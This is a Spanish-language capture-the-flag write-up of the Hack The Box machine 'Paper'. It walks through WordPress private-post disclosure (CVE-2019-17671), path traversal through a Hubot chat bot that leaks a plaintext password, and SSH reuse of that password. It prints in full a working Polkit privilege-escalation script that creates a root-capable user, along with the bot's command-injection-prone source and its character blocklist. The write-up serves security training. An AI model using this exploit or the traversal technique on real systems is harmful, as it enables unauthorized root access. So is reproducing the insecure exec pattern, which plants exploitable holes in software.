This page looks best with JavaScript enabled

Hack The Box - Paper

 •  ✍️ sckull

En Paper descubrimos una vulnerabilidad que permite leer los posts archivados/privados lo que nos permitió acceder a un link de registro de Rocket.chat, en este ultimo logramos listar y observar el contenido de archivos de la máquina con la ayuda de comandos de un Bot, lo que nos dio acceso por SSH. Finalmente escalamos privilegios explotando la vulnerabilidad de Polkit.

Nombre Paper box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.143
Maker

secnigma

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.6, 4.5, 5.7, 4.3, 5.5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[9, 7, 10, 0, 3],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap nos muestra abiertos los puertos: http/s (80, 443) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Nmap 7.91 scan initiated Sat Feb  5 23:19:51 2022 as: nmap -p22,80,443 -sC -sV -oN nmap_scan 10.129.104.126
Nmap scan report for 10.129.104.126 (10.129.104.126)
Host is up (0.088s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb  5 23:20:09 2022 -- 1 IP address (1 host up) scanned in 18.70 seconds

Web Site

Realizamos una solicitud al sitio web con curl y vemos el header X-Backend-Server el dominio office.paper el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/paper ❯ curl -sI http://10.129.104.126/
HTTP/1.1 403 Forbidden
Date: Sat, 05 Feb 2022 23:52:20 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8

 π ~/htb/paper ❯

Tras visitar el sitio web vemos multiples posts, además observamos en el footer que es un WordPress.
image

Wpscan

Ejecutamos wpscan para enumerar toda la información posible, se muestra la versión de WordPress como Insegura y encontramos tres usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
 π ~/htb/paper ❯ wpscan --url http://office.paper/ -e ap,vt,cb,dbe,u,
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://office.paper/ [10.129.104.126]
[+] Started: Sat Feb  5 23:54:13 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
 |  - X-Powered-By: PHP/7.2.24
 |  - X-Backend-Server: office.paper
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://office.paper/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 |  - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>

[+] WordPress theme in use: construction-techup
 | Location: http://office.paper/wp-content/themes/construction-techup/
 | Last Updated: 2021-07-17T00:00:00.000Z
 | Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1
 | Style Name: Construction Techup
 | Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a...
 | Author: wptexture
 | Author URI: https://testerwp.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[.. snip ..]

[i] User(s) Identified:

[+] prisonmike
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://office.paper/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] nick
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://office.paper/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] creedthoughts
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[.. snip ..]

WordPress

Revisamos la version y vulnerabilidades a la version 5.2.3 en la pagina de WordPress, entre ellas destacamos el CVE-2019-17671 donde observamos que es posible ver post privados o borradores, se muestra el PoC.

1
http://wordpress.local/?static=1&order=asc 

Tras emplear el PoC en el sitio, vemos “multiples posts”, se menciona un sistema de chat y vemos una url con un nuevo subdominio el cual agregamos a /etc/hots.
image

User - Dwight

Rocket.chat

La url de registro nos lleva a sistema de chat rocket.chat.
image

Tras ingresar vemos el único canal, #general, aunque es de ‘sólo lectura’.
image

Vemos muchos mensajes entre ellos se menciona un bot y se listan los diferentes comandos aceptados.
image

‘kelly’ menciona que el bot funciona por Mensajes Directos, por lo que iniciamos una conversación con el bot.
image

Hubot

Enviamos el comando help y nuevamente vemos los diferentes comandos, pero vemos 2 interesantes, file y list.

1
2
3
4
5
6
7
8
For security reasons, the access is limited to the Sales folder.
3. Files:
eg: 'recyclops get me the file test.txt', or 'recyclops could you send me the file sale/secret.xls' or just 'recyclops file test.txt'

4. List:
You can ask me to list the files

eg: 'recyclops i need directory list sale' or just 'recyclops list sale'

file realiza cat al archivo dado, en el directorio /home/dwight/sales/test.txt y list muestra los directorios/archivos en sales/.
image

Intentamos realizar ‘Command Injection’ pero parece tener algun tipo de filtro.
image

Realizamos una enumeración de archivos dentro del directorio utilizando ../ vemos multiples directorios/archivos en home/dwight.
image

En la carpeta hubot/ vemos archivos de configuración y codigo fuente del bot.
image

El archivo .env contiene la configuración del bot, y vemos credenciales.
image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
file ../hubot/.env 
<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../hubot/.env=====>

Shell

Usamos la contraseña por SSH con el usuario dwight, logramos obtener una shell y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/paper ❯ ssh dwight@office.paper # Queenofblad3s!23
dwight@office.paper's password:
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Sat Feb  5 20:12:06 2022 from 10.10.14.133
[dwight@paper ~]$ whoami;id;pwd
dwight
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight)
/home/dwight
[dwight@paper ~]$ ls
bot_restart.sh	hubot  pk.sh  sales  user.txt
[dwight@paper ~]$ cat user.txt
70b576347b2ee4017a05dd869dfcb5fa
[dwight@paper ~]$

Privesc

Enumeramos la carpeta del usuario dwight, encontramos un script en bash pk.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[dwight@paper ~]$ ll
total 16
-rwxr-xr-x 1 dwight dwight 1174 Sep 16 06:58 bot_restart.sh
drwx------ 8 dwight dwight 4096 Sep 16 07:57 hubot
-rwxrwxr-x 1 dwight dwight 2812 Jan 14 06:48 pk.sh
drwxr-xr-x 4 dwight dwight   32 Jul  3  2021 sales
-r-------- 1 dwight dwight   33 Feb  5 15:18 user.txt
[dwight@paper ~]$ file pk.sh
pk.sh: Bourne-Again shell script, ASCII text executable
[dwight@paper ~]$

Polkit

El script realiza una explotiación en la API de polkit, registra el usuario hacked con la contraseña password, agregando este como usuario privilegiado. Todo indica que se trata de un exploit para la vulnerabilidad en polkit para escalar privilegios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/bin/bash

# Set the name and display name
userName="hacked"
realName="hacked"

# Set the account as an administrator
accountType=1

# Set the password hash for 'password' and password hint
password='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB'
passHint="password"

# Check Polkit version
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then
echo "[*] Vulnerable version of polkit found"
else
echo "[!] WARNING: Version of polkit might not vulnerable"
fi

# Validate user is running in SSH instead of desktop terminal
if [[ -z $SSH_CLIENT || -z $SSH_TTY ]]; then
echo "[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts"
exit
fi

# Test the dbus-send timing to load into exploit
echo "[*] Determining dbus-send timing"
realTime=$( TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ; } 2>&1 | cut -d " " -f6 )
halfTime=$(echo "scale=3;$realTime/2" | bc)

# Check for user first in case previous run of script failed on password set
if id "$userName" &>/dev/null; then
userid=$(id -u $userName)
echo "[*] New user $userName already exists with uid of $userid"
else
userid=""
echo "[*] Attempting to create account"
while [[ $userid == "" ]]
do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
if id "$userName" &>/dev/null; then
userid=$(id -u $userName)
echo "[*] New user $userName created with uid of $userid"
fi
done
fi

# Add the password to /etc/shadow
# Sleep added to ensure there is enough of a delay between timestamp checks
echo "[*] Adding password to /etc/shadow and enabling user"
sleep 1
currentTimestamp=$(stat -c %Z /etc/shadow)
fileChanged="n"
while [ $fileChanged == "n" ]
do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
if [ $(stat -c %Z /etc/shadow) -ne $currentTimestamp ];then
fileChanged="y"
echo "[*] Exploit complete!"
fi
done

echo ""
echo "[*] Run 'su - $userName', followed by 'sudo su' to gain root access"

Utilizamos este mismo script para realizar la explotación, tras un primer intento pareciera no funcionar, aun asi muestra que todo fue exitoso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[dwight@paper ~]$ ./pk.sh
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Modular dependency problems:

 Problem 1: conflicting requests
  - nothing provides module(perl:5.26) needed by module perl-IO-Socket-SSL:2.066:8030020201222215140:1e4bbb35.x86_64
 Problem 2: conflicting requests
  - nothing provides module(perl:5.26) needed by module perl-libwww-perl:6.34:8030020201223164340:b967a9a2.x86_64
[*] Vulnerable version of polkit found
[*] Determining dbus-send timing
[*] Attempting to create account
./pk.sh: line 48: 21609 Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
[.. snip ..]
./pk.sh: line 48: 27079 Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
[*] New user hacked created with uid of 1005
[*] Adding password to /etc/shadow and enabling user
[*] Exploit complete!

[*] Run 'su - hacked', followed by 'sudo su' to gain root access
[dwight@paper ~]$ su - hacked
su: user hacked does not exist
[dwight@paper ~]$

Shell

Tras una segunda ejecución vemos que el usuario es registrado, y obtiene privilegio root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[dwight@paper ~]$ ./pk.sh
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
[..snip ..]
[*] Exploit complete!
./pk.sh: line 64: 31284 Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2> /dev/null

[*] Run 'su - hacked', followed by 'sudo su' to gain root access
[dwight@paper ~]$ su - hacked
Password:
[hacked@paper ~]$ id
uid=1005(hacked) gid=1005(hacked) groups=1005(hacked),10(wheel)
[hacked@paper ~]$ sudo su
[sudo] password for hacked:
[root@paper hacked]# id
uid=0(root) gid=0(root) groups=0(root)

Finalmente la flag root.txt

1
2
3
4
5
6
[root@paper hacked]# cd /root
[root@paper ~]# ls
anaconda-ks.cfg  initial-setup-ks.cfg  root.txt
[root@paper ~]# cat root.txt
65da21d38614e574d8c1990545f2b49b
[root@paper ~]#
  • Nota: en este caso utilizamos el script almacenado en la máquina, sugiero visitar el Write-up de 0xdf - HTB Paper.

  • Paper: Post del autor que habla sobre el proceso e ideas de la creación de la máquina.

Hubot, Cronjob

Vemos que existe un cronjob que restaura el archivo /etc/passwd y /etc/shadow, es por ello que el primer intento con pk.sh no funcionó.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[root@paper ~]# crontab -l
*/2 * * * * /root/.restore/restore.sh
[root@paper ~]# cat /root/.restore/restore.sh
#!/bin/bash

for u in `/usr/bin/comm -23 /etc/passwd /root/.restore/passwd | cut -d ':' -f1`
do
    /usr/sbin/userdel -fr "$u"
done

cp -a /root/.restore/{passwd,shadow} /etc
[root@paper ~]#

Vemos el codigo de los comandos files y list, en ambos existe un “filtro” para ciertos caracteres que no permite realizar ‘Command Injection’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
scripts/files.js
// Description:
// Runs a command on hubot
// TOTAL VIOLATION of any and all security!
//
// Commands:
// hubot run <command> - runs a command on hubot host

module.exports = function(robot) {
  var user = "dwight";
  robot.respond("/file (.*)$/i", function(msg) {
    console.log(msg);
    var out = msg.match[1];
// Don't judge me. If it is working, then it ain't stupid.
    if((out.includes(";")) || (out.includes("`")) || (out.includes("&")) || (out.includes("$")) || (out.includes("0x0a")) || (out.includes("\\n"))|| (out.includes("*")) || (out.includes("?")) || (out.includes("|")) || (out.includes("[")) || (out.includes("{")) || (out.includes("(")) || (out.includes("\"")) || (out.includes("\\"))  || (out.includes(">")) || (out.includes("<")) || (out.includes("'")) || (out.includes("%")) ){
	     msg.send("Stop injecting OS commands!");
	     return;
  }

         if(out.includes("user")){
        msg.send("Access denied.");
	return;
    }	
    else{ 	
    var cmd = "cat " + " " +"/home/"+user+"/sales/"+ out;
    var exec = require('child_process').exec;
    exec(cmd, function(error, stdout, stderr) {
      if (error) {
        msg.send(error);
        msg.send(stderr);
      } else {
    	msg.send("<!=====Contents of file  " + out + "=====>");
        msg.send(stdout);
    	msg.send("<!=====End of file  " + out + "=====>");
      }
    });
  }
  });
};
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
scripts/listof.js
// Description:
// Runs a command on hubot
// TOTAL VIOLATION of any and all security!
//
// Commands:
// hubot run <command> - runs a command on hubot host

module.exports = function(robot) {
  var user = "dwight";
  robot.respond("/list(.*)$/i", function(msg) {
    console.log(msg);
    var out = msg.match[1];
    var cmd=""

// Don't judge me. If it is working, then it ain't stupid.
if((out.includes(";")) || (out.includes("`")) || (out.includes("&")) || (out.includes("$")) || (out.includes("0x0a")) || (out.includes("\\n"))|| (out.includes("*")) || (out.includes("?")) || (out.includes("|")) || (out.includes("[")) || (out.includes("{")) || (out.includes("(")) || (out.includes("\"")) || (out.includes("\\"))  || (out.includes(">")) || (out.includes("<")) || (out.includes("'")) || (out.includes("%")) ){
             msg.send("Stop injecting OS commands!");
             return;
     }

if(out == ""){
    	var dir="/sales/"
    	msg.send("Fetching the directory listing of " + dir);
    	cmd = "ls -la" + " " +"/home/"+user+ dir;
    }
   if(out !="") {
    	msg.send("Fetching the directory listing of " + out);
    	cmd = "ls -la" + " " +"/home/"+user+"/sales/"+out.trim();
    }
    	var exec = require('child_process').exec;
    	exec(cmd, function(error, stdout, stderr) {
      if (error) {
        msg.send(error);
        msg.send(stderr);
      } else {
        msg.send(stdout);
      }
    });
  });
};

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe